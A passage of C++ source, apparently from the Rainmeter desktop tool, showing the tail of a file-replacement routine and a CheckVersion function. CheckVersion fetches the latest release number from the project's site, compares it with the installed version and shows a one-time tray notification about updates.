CloseHandle(hFile); SetFileAttributes(file.c_str(), FILE_ATTRIBUTE_NORMAL); DeleteFile(file.c_str()); if (MoveFile(szTmpFile, file.c_str())) { //succeed. if (callback) callback(1.0); return 0; } } return GetLastError(); }
void CheckVersion(void* dummy) { HINTERNET hRootHandle = InternetOpen( L"Rainmeter", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (hRootHandle == NULL) { return; } HINTERNET hUrlDump = InternetOpenUrl(hRootHandle, L"http://rainmeter.github.io/rainmeter/release", NULL, NULL, INTERNET_FLAG_RESYNCHRONIZE, 0); if (hUrlDump) { DWORD dwSize; char urlData[16] = {0}; if (InternetReadFile(hUrlDump, (LPVOID)urlData, sizeof(urlData) - 1, &dwSize)) { auto parseVersion = [](const WCHAR* str)->int { int version = _wtoi(str) * 1000000; const WCHAR* pos = wcschr(str, L'.'); if (pos) { ++pos; // Skip . version += _wtoi(pos) * 1000; pos = wcschr(pos, '.'); if (pos) { ++pos; // Skip . version += _wtoi(pos); } } return version; }; std::wstring tmpSz = StringUtil::Widen(urlData); const WCHAR* version = tmpSz.c_str(); int availableVersion = parseVersion(version); if (availableVersion > RAINMETER_VERSION || (revision_beta && availableVersion == RAINMETER_VERSION)) { Rainmeter->SetNewVersion(); WCHAR buffer[32]; const WCHAR* dataFile = Rainmeter->GetDataFile().c_str(); GetPrivateProfileString(L"Rainmeter", L"LastCheck", L"0", buffer, _countof(buffer), dataFile); // Show tray notification only once per new version int lastVersion = parseVersion(buffer); if (availableVersion > lastVersion) { Rainmeter->GetTrayWindow()->ShowUpdateNotification(version); WritePrivateProfileString(L"Rainmeter", L"LastCheck", version, dataFile); } } } InternetCloseHandle(hUrlDump); } InternetCloseHandle(hRootHandle); }